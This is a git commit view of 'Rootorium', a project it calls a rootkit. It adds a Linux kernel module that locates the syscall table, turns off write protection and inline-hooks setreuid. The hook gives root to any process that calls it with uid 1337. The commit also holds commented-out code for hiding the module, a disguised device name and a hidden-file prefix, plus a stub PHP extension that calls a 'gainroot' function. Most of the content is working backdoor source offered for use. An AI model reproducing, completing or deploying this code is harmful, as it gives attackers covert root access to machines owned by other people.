Browse Source

Default

master
Root 5 years ago
commit
325d800fb6
  1. 8
      .gitignore
  2. 3
      README.md
  3. 0
      rkapache/Makefile
  4. 0
      rkapache/include/common.h
  5. 0
      rkapache/src/main.c
  6. 0
      rkbin/Makefile
  7. 0
      rkbin/include/common.h
  8. 0
      rkbin/src/main.c
  9. 31
      rkmod/Makefile
  10. 99
      rkmod/include/common.h
  11. 150
      rkmod/src/hooks.c
  12. 183
      rkmod/src/main.c
  13. 54
      rkmod/src/utils.c
  14. 19
      rkphp/config.m4
  15. 67
      rkphp/include/common.h
  16. 71
      rkphp/src/main.c
  17. 74
      rkphp/src/php_funcs.c
  18. 3
      rkphp/test.php

8
.gitignore vendored

@ -0,0 +1,8 @@ @@ -0,0 +1,8 @@
bin
*.lo
*.ign
.libs
.clang
.codelite
*.project
*.workspace

3
README.md

@ -0,0 +1,3 @@ @@ -0,0 +1,3 @@
# Rootorium
Where rootkits meet steroids.

0
rkapache/Makefile

0
rkapache/include/common.h

0
rkapache/src/main.c

0
rkbin/Makefile

0
rkbin/include/common.h

0
rkbin/src/main.c

31
rkmod/Makefile

@ -0,0 +1,31 @@ @@ -0,0 +1,31 @@
obj-m += rkmod.o
rkmod-objs += src/main.o src/hooks.o src/utils.o
###########################################
# Compilation and Linking process
###########################################
.PREPARE:
mkdir -p ../bin/
.PHONY: .PREPARE all
all: .PREPARE
@echo
@echo "Compiling kernel rkmod!"
@$(MAKE) modules \
-C /lib/modules/$(shell uname -r)/build M=$(PWD)
@cp *.ko ../bin/
###########################################
# Clean up process
###########################################
.PHONY: clean .cleanbin
clean: .cleanbin
@rm -f rkmod.*
@rm -f .rkmod.*
@rm -rf *odule*
@rm -rf .tmp_versions/
@echo "Cleanup complete!"
.cleanbin:
@rm -f ../bin/*.ko
@echo "ELFs Removed!"

99
rkmod/include/common.h

@ -0,0 +1,99 @@ @@ -0,0 +1,99 @@
#ifndef __RKMOD_COMMON_H
#define __RKMOD_COMMON_H
#include <linux/module.h>
#include <linux/version.h>
#include <linux/uaccess.h>
#include <linux/unistd.h> //
#include <asm/paravirt.h> // write_cr0
#include <linux/slab.h> //
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33)
#include <generated/autoconf.h>
#else
#include <linux/autoconf.h>
#endif
#include <linux/ioctl.h> //
#define CLASS_NAME "ttyR"
#define DEVICE_NAME "ttyR0"
#define HIDDEN_PREFIX ".X11-exec."
// Debugging definitions
#define __DEBUG__ 1 // General debugging statements
#define __DEBUG_HOOK__ 1 // Debugging of inline function hooking
#if defined(__i386__)
#define HIJACK_SIZE 6
#else
#define HIJACK_SIZE 12
#endif
#define SEARCH_START PAGE_OFFSET
#define SEARCH_END ULONG_MAX //PAGE_OFFSET + 0xffffffff
/*
#if defined(__i386__)
// push 0x00000000, ret
#define HOOK_CODE "\x68\x00\x00\x00\x00\xc3"
#define HOOK_CODE_OFFSET 1
// alternativly we could do `mov eax 0x00000000, jmp eax`, but it's a byte longer
//#define ASM_HOOK_CODE "\xb8\x00\x00\x00\x00\xff\xe0"
#else
*/
// there is no push that pushes a 64-bit immidiate in x86_64,
// so we do things a bit differently:
// mov rax 0x0000000000000000, jmp rax
#define HOOK_CODE "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0"
#define HOOK_CODE_OFFSET 2
//#endif
// Debugging definitions
#if __DEBUG__
#define DEBUG(fmt, ...) printk("%d:%s(): " fmt, __LINE__, __func__, ##__VA_ARGS__)
#else
#define DEBUG(fmt, ...)
#endif
#if __DEBUG_HOOK__
#define DEBUG_HOOK(fmt, ...) printk("%d:%s(): " fmt, __LINE__, __func__, ##__VA_ARGS__)
#else
#define DEBUG_HOOK(fmt, ...)
#endif
struct linux_dirent
{
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
struct linux_dirent64
{
u64 d_ino;
s64 d_off;
unsigned short d_reclen;
unsigned char d_type;
char d_name[0];
};
extern unsigned long *sct;
//extern asmlinkage long (*sys_setreuid)(uid_t ruid, uid_t euid);
asmlinkage int n_sys_setreuid(uid_t ruid, uid_t euid);
void hook_start(void *target, void *new);
void hook_pause(void *target, int output);
void hook_resume(void *target, int output);
void hook_stop(void *target);
void init_hooks(void);
void exit_hooks(void);
void *memmem(const void *haystack, size_t haystack_size, const void *needle, size_t needle_size);
//void *memstr(const void *haystack, const char *needle, size_t size);
//char *strnstr(const char *haystack, const char *needle, size_t n);
#endif /* rkmod_common.h */

150
rkmod/src/hooks.c

@ -0,0 +1,150 @@ @@ -0,0 +1,150 @@
#include <linux/cred.h> // (uid/gid)
#include "../include/common.h"
// Our sym_hook structure.
struct sym_hook
{
void *addr;
// Original code
unsigned char o_code[HIJACK_SIZE];
// New Code
unsigned char n_code[HIJACK_SIZE];
struct list_head list;
};
LIST_HEAD(hooked_syms);
// Commander
asmlinkage int (*sys_setreuid)(uid_t ruid, uid_t euid);
asmlinkage int n_sys_setreuid(uid_t ruid, uid_t euid)
{
int ret;
DEBUG_HOOK("ruid == %d && euid == %d\n", ruid, euid);
if(ruid == 1337 && euid == 1337)
{
// Give root privledges if you got ruid and euid correct
commit_creds(prepare_kernel_cred(0));
// now return our new setreuid call
return n_sys_setreuid(0, 0);
}
// Pause our hook
hook_pause(sys_setreuid, 1);
// so we can execute our original setreuid call
ret = sys_setreuid(ruid, euid);
// Now we can resume our hook
hook_resume(sys_setreuid, 1);
return ret;
}
void hook_start(void *target, void *new)
{
unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE];
struct sym_hook *sa;
#if defined(__i386__)
// push $addr; ret
memcpy(n_code, "\x68\x00\x00\x00\x00\xc3", HIJACK_SIZE);
*(unsigned long *)&n_code[1] = (unsigned long)new;
#else
// mov rax, $addr; jmp rax
memcpy(n_code, "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0", HIJACK_SIZE);
*(unsigned long *)&n_code[2] = (unsigned long)new;
#endif
DEBUG_HOOK("Hooking function 0x%p with 0x%p\n", target, new);
memcpy(o_code, target, HIJACK_SIZE);
write_cr0(read_cr0() & (~0x10000));
memcpy(target, n_code, HIJACK_SIZE);
write_cr0(read_cr0() | 0x10000);
sa = kmalloc(sizeof(*sa), GFP_KERNEL);
if(!sa)
return;
sa->addr = target;
memcpy(sa->o_code, o_code, HIJACK_SIZE);
memcpy(sa->n_code, n_code, HIJACK_SIZE);
list_add(&sa->list, &hooked_syms);
}
void hook_pause(void *target, int output)
{
struct sym_hook *sa;
if(output)
DEBUG_HOOK("Pausing hook of function 0x%p\n", target);
list_for_each_entry(sa, &hooked_syms, list)
{
if(target == sa->addr)
{
write_cr0(read_cr0() & (~0x10000));
memcpy(target, sa->o_code, HIJACK_SIZE);
write_cr0(read_cr0() | 0x10000);
}
}
}
void hook_resume(void *target, int output)
{
struct sym_hook *sa;
if(output)
DEBUG_HOOK("Resuming hook of function 0x%p\n", target);
list_for_each_entry(sa, &hooked_syms, list)
{
if(target == sa->addr)
{
write_cr0(read_cr0() & (~0x10000));
memcpy(target, sa->n_code, HIJACK_SIZE);
write_cr0(read_cr0() | 0x10000);
}
}
}
void hook_stop(void *target)
{
struct sym_hook *sa;
DEBUG_HOOK("Unhooking function 0x%p\n", target);
list_for_each_entry(sa, &hooked_syms, list)
{
if(target == sa->addr)
{
write_cr0(read_cr0() & (~0x10000));
memcpy(target, sa->o_code, HIJACK_SIZE);
write_cr0(read_cr0() | 0x10000);
list_del(&sa->list);
kfree(sa);
break;
}
}
}
void init_hooks(void)
{
DEBUG("Hooking syscalls\n");
sys_setreuid = (void *)sct[__NR_setreuid];
hook_start(sys_setreuid, &n_sys_setreuid);
}
void exit_hooks(void)
{
DEBUG("Unhooking syscalls\n");
hook_stop(sys_setreuid);
}
MODULE_LICENSE("GPL");

183
rkmod/src/main.c

@ -0,0 +1,183 @@ @@ -0,0 +1,183 @@
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/syscalls.h> // syscalls
#include "../include/common.h"
// Our (system call table) variable
unsigned long *sct;
// Our char-device variable set-ups
static int major;
static struct class *charClass = NULL;
static struct device *charDevice = NULL;
// x86_64 implementation
unsigned long *find_sct(void)
{
unsigned long sct_off = 0;
unsigned char code[512];
char **p;
// Somewhat unknown to me to be honest.
rdmsrl(MSR_LSTAR, sct_off);
// tho this is where we copy it to code.
memcpy(code, (void *)sct_off, sizeof(code));
// Find needle in haystack code
p = (char **)memmem(code, sizeof(code), "\xff\x14\xc5", 3);
if(p)
{
// if needle found set table to ptr needle + 3 ?
unsigned long *table = *(unsigned long **)((char *)p + 3);
// then table is correctly set to our (system call table) ?
table = (unsigned long *)(((unsigned long)table & 0xffffffff) | 0xffffffff00000000);
// if we got here we return the table.
return table;
}
// if needle not found in haystay.
return NULL;
}
static ssize_t read_dev(struct file *filp, char __user *buf, size_t count, loff_t *l)
{
return 0;
}
static ssize_t write_dev(struct file *filp, const char *buf, size_t len, loff_t *l)
{
char *data;
data = (char *)kmalloc(len + 1, GFP_KERNEL);
if(data)
{
int ret;
// get data from char device, executed via userland
ret = copy_from_user(data, buf, len);
// if data contails root, GOTROOT? else AWW!!!
if(memcmp(data, "root", 4) == 0)
{
DEBUG("GOTROOT?\n");
}
else
DEBUG("AWW!!!\n");
kfree(data);
}
else
DEBUG("Unable to kmalloc!\n");
return len;
}
//File operations for device
static struct file_operations fops =
{
.owner = THIS_MODULE,
.read = read_dev,
.write = write_dev
};
static int init_char_dev(void)
{
// Create char device
if((major = register_chrdev(0, DEVICE_NAME, &fops)) < 0)
{
DEBUG("Device %s failed to register a major!\n", DEVICE_NAME);
return major;
}
DEBUG("Device %s registered with major #%d!\n", DEVICE_NAME, major);
// Register the device class
charClass = class_create(THIS_MODULE, CLASS_NAME);
if(IS_ERR(charClass))
{
unregister_chrdev(major, DEVICE_NAME);
DEBUG("Failed to register device class!\n");
return PTR_ERR(charClass);
}
DEBUG("Device class registered!\n");
// Register the device driver
charDevice = device_create(charClass, NULL, MKDEV(major, 0), NULL, DEVICE_NAME);
if(IS_ERR(charDevice))
{
class_destroy(charClass);
unregister_chrdev(major, DEVICE_NAME);
DEBUG("Failed to create the device!\n");
return PTR_ERR(charDevice);
}
return 0;
}
static void exit_char_dev(void)
{
device_destroy(charClass, MKDEV(major, 0));
class_unregister(charClass);
class_destroy(charClass);
unregister_chrdev(major, DEVICE_NAME);
}
static int __init r0mod_init(void)
{
DEBUG("Module starting...\n");
//DEBUG("Hiding module object.\n");
//list_del_init(&__this_module.list); // Remove from lsmod
//kobject_del(&THIS_MODULE->mkobj.kobj); // Remove from FS?
//kobject_del(&THIS_MODULE->holders_dir->parent); // Remove from FS?
DEBUG("Search Start: %lx\n", SEARCH_START);
DEBUG("Search End: %lx\n", SEARCH_END);
// Commence finding (system call table).
if((sct = (void *)find_sct()) == NULL)
{
DEBUG("sct == NULL\n");
return -1;
}
// We found the address!
DEBUG("Search Found: sct @ %lx\n", (unsigned long)sct);
// Lets inititate hooks via found (system call table)
init_hooks();
// Is now an okay time to initiate the char device?
if(init_char_dev() != 0)
return -1;
DEBUG("Module started...\n");
return 0;
}
static void __exit r0mod_exit(void)
{
DEBUG("Module exiting...\n");
// Cleanly exit the char device?
exit_char_dev();
// If (system call table) is not NULL then cleanly exit hooks?
if(sct != NULL)
{
// Yep this...
exit_hooks();
}
DEBUG("Module exited...\n");
}
module_init(r0mod_init);
module_exit(r0mod_exit);
MODULE_LICENSE("GPL");

54
rkmod/src/utils.c

@ -0,0 +1,54 @@ @@ -0,0 +1,54 @@
#include "../include/common.h"
/* The memmem() function finds the start of the first occurrence of the
* substring needle of length needlelen in the memory area haystack of
* length haystacklen.
*/
void *memmem(const void *haystack, size_t haystack_size, const void *needle, size_t needle_size)
{
char *p;
for(p = (char *)haystack; p <= ((char *)haystack - needle_size + haystack_size); p++)
{
if(memcmp(p, needle, needle_size) == 0)
return (void *)p;
}
return NULL;
}
/*
void *memstr(const void *haystack, const char *needle, size_t size)
{
size_t needle_size = strlen(needle);
char *p;
for(p = (char *)haystack; p <= ((char *)haystack - needle_size + size); p++)
{
if(memcmp(p, needle, needle_size) == 0)
return (void *)p;
}
return NULL;
}
*/
/* The strstr() function locates the first occurrence of the null-terminated
* string needle in the null-terminated string haystack.
*/
/*
char *strnstr(const char *haystack, const char *needle, size_t n)
{
char *s = strstr(haystack, needle);
if(s == NULL)
return NULL;
if(s - haystack + strlen(needle) <= n)
return s;
return NULL;
}
*/
MODULE_LICENSE("GPL");

19
rkphp/config.m4

@ -0,0 +1,19 @@ @@ -0,0 +1,19 @@
PHP_ARG_WITH(rkphp, for rkphp, [ --with-rkphp Include rkphp.])
PHP_ARG_ENABLE(debug, for debugging,
[ --enable-debug Include rkphp debugging.], no, no)
PHP_ADD_INCLUDE(include/)
dnl Check whether the extension is enabled at all
if test "$PHP_RKPHP" != "no"; then
dnl Check whether to enable
if test "$PHP_DEBUG" != "no"; then
dnl Debugging enabled.
AC_DEFINE(HAVE_DEBUG, 1, [Include rkphp debugging.])
fi
dnl Tell the build system about the extension and what files to use.
PHP_NEW_EXTENSION(rkphp, src/main.c src/php_funcs.c, $ext_shared)
fi

67
rkphp/include/common.h

@ -0,0 +1,67 @@ @@ -0,0 +1,67 @@
#ifndef __RKPHP_COMMON_H
#define __RKPHP_COMMON_H
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include "php.h"
#include "ext/standard/info.h"
#ifdef HAVE_DEBUG
#define RKPHP_DEBUG 1
#else
#define RKPHP_DEBUG 0
#endif
#define RKPHP_NAME "rkphp"
#define RKPHP_VERSION "0.0.1"
extern zend_module_entry rkphp_module_entry;
#define phpext_rkphp_ptr &rkphp_module_entry
PHP_MINIT_FUNCTION(rkphp);
PHP_MSHUTDOWN_FUNCTION(rkphp);
PHP_RINIT_FUNCTION(rkphp);
PHP_RSHUTDOWN_FUNCTION(rkphp);
#if ZEND_MODULE_API_NO >= 20010901
PHP_MINFO_FUNCTION(rkphp);
#endif
PHP_FUNCTION(rkphp_gainroot);
PHP_MINIT_FUNCTION(rkphp);
PHP_MSHUTDOWN_FUNCTION(rkphp);
PHP_RINIT_FUNCTION(rkphp);
PHP_RSHUTDOWN_FUNCTION(rkphp);
#if RKPHP_DEBUG == 1
PHP_MINFO_FUNCTION(rkphp);
#endif
ZEND_BEGIN_MODULE_GLOBALS(rkphp)
int rkphp_glob;
ZEND_END_MODULE_GLOBALS(rkphp)
// Custom printf macro to strip all debug messages on compile-time
// Removes debugging strings from appearing during runtime & in the binary
#if RKPHP_DEBUG == 1
#define RKPHP_PRINTF(...) php_printf(__VA_ARGS__);
#else
#define RKPHP_PRINTF(...) ((void)0);
#endif
// Prevents my IDE from screaming that certain macro's are not defined
#ifndef SUCCESS
#define SUCCESS 1
#endif
#endif /* rkphp_common.h */
/*
* Local variables:
* tab-width: 4
* c-basic-offset: 4
* End:
* vim600: noet sw=4 ts=4 fdm=marker
* vim<600: noet sw=4 ts=4
*/

71
rkphp/src/main.c

@ -0,0 +1,71 @@ @@ -0,0 +1,71 @@
#include "common.h"
ZEND_DECLARE_MODULE_GLOBALS(rkphp);
/* True global resources - no need for thread safety here */
//static int rkphp_glob;
/* {{{ rkphp_functions[]
*
* Every user visible function must have an entry in rkphp_functions[].
*/
zend_function_entry rkphp_functions[] =
{
PHP_FE(rkphp_gainroot, NULL)
{NULL, NULL, NULL} /* Must be the last line in rkphp_functions[] */
};
/* }}} */
/* {{{ rkphp_module_entry
*/
#if RKPHP_DEBUG == 1
zend_module_entry rkphp_module_entry =
{
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
RKPHP_NAME, /* Module name, used in phpinfo(); */
rkphp_functions, /* All exposed functions */
PHP_MINIT(rkphp), /* On module startup */
PHP_MSHUTDOWN(rkphp), /* On module shutdown */
PHP_RINIT(rkphp), /* On request startup */
PHP_RSHUTDOWN(rkphp), /* On request shutdown */
PHP_MINFO(rkphp), /* Module info, used in phpinfo(); */
#if ZEND_MODULE_API_NO >= 20010901
RKPHP_VERSION, /* Module version, used in phpinfo(); */
#endif
STANDARD_MODULE_PROPERTIES
};
#else
zend_module_entry rkphp_module_entry =
{
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"", /* Module name, used in phpinfo(); */
rkphp_functions, /* All exposed functions */
PHP_MINIT(rkphp), /* On module startup */
PHP_MSHUTDOWN(rkphp), /* On module shutdown */
PHP_RINIT(rkphp), /* On request startup */
PHP_RSHUTDOWN(rkphp), /* On request shutdown */
NULL, /* Module info, used in phpinfo(); */
#if ZEND_MODULE_API_NO >= 20010901
NULL, /* Module version, used in phpinfo(); */
#endif
STANDARD_MODULE_PROPERTIES
};
#endif
/* }}} */
#ifdef COMPILE_DL_RKPHP
ZEND_GET_MODULE(rkphp)
#endif
/*
* Local variables:
* tab-width: 4
* c-basic-offset: 4
* End:
* vim600: noet sw=4 ts=4 fdm=marker
* vim<600: noet sw=4 ts=4
*/

74
rkphp/src/php_funcs.c

@ -0,0 +1,74 @@ @@ -0,0 +1,74 @@
#include "common.h"
/* {{{ proto void rkphp_gainroot(void)
* Attempt to gain root, then gain it! */
PHP_FUNCTION(rkphp_gainroot)
{
RKPHP_PRINTF("[!] Attempting to gain Root.\n");
/* This is where we'll attempt to interact with the kernel rkmod */
RKPHP_PRINTF("[*] Gained Root privileges successfully.\n");
}
/* }}} */
/* {{{ PHP_MINIT_FUNCTION
*/
PHP_MINIT_FUNCTION(rkphp)
{
RKPHP_PRINTF("PHP_MINIT!\n");
return SUCCESS;
}
/* }}} */
/* {{{ PHP_MSHUTDOWN_FUNCTION
*/
PHP_MSHUTDOWN_FUNCTION(rkphp)
{
RKPHP_PRINTF("PHP_MSHUTDOWN!\n");
return SUCCESS;
}
/* }}} */
/* Remove if there's nothing to do at request start */
/* {{{ PHP_RINIT_FUNCTION
*/
PHP_RINIT_FUNCTION(rkphp)
{
RKPHP_PRINTF("PHP_RINIT!\n");
return SUCCESS;
}
/* }}} */
/* Remove if there's nothing to do at request end */
/* {{{ PHP_RSHUTDOWN_FUNCTION
*/
PHP_RSHUTDOWN_FUNCTION(rkphp)
{
RKPHP_PRINTF("PHP_RSHUTDOWN!\n");
return SUCCESS;
}
/* }}} */
/* {{{ PHP_MINFO_FUNCTION
*/
#if RKPHP_DEBUG == 1
PHP_MINFO_FUNCTION(rkphp)
{
php_info_print_table_start();
php_info_print_table_header(3, RKPHP_NAME, RKPHP_VERSION, "enabled");
php_info_print_table_end();
}
#endif
/* }}} */
/*
* Local variables:
* tab-width: 4
* c-basic-offset: 4
* End:
* vim600: noet sw=4 ts=4 fdm=marker
* vim<600: noet sw=4 ts=4
*/

3
rkphp/test.php

@ -0,0 +1,3 @@ @@ -0,0 +1,3 @@
<?php
rkphp_gainroot();
Loading…
Cancel
Save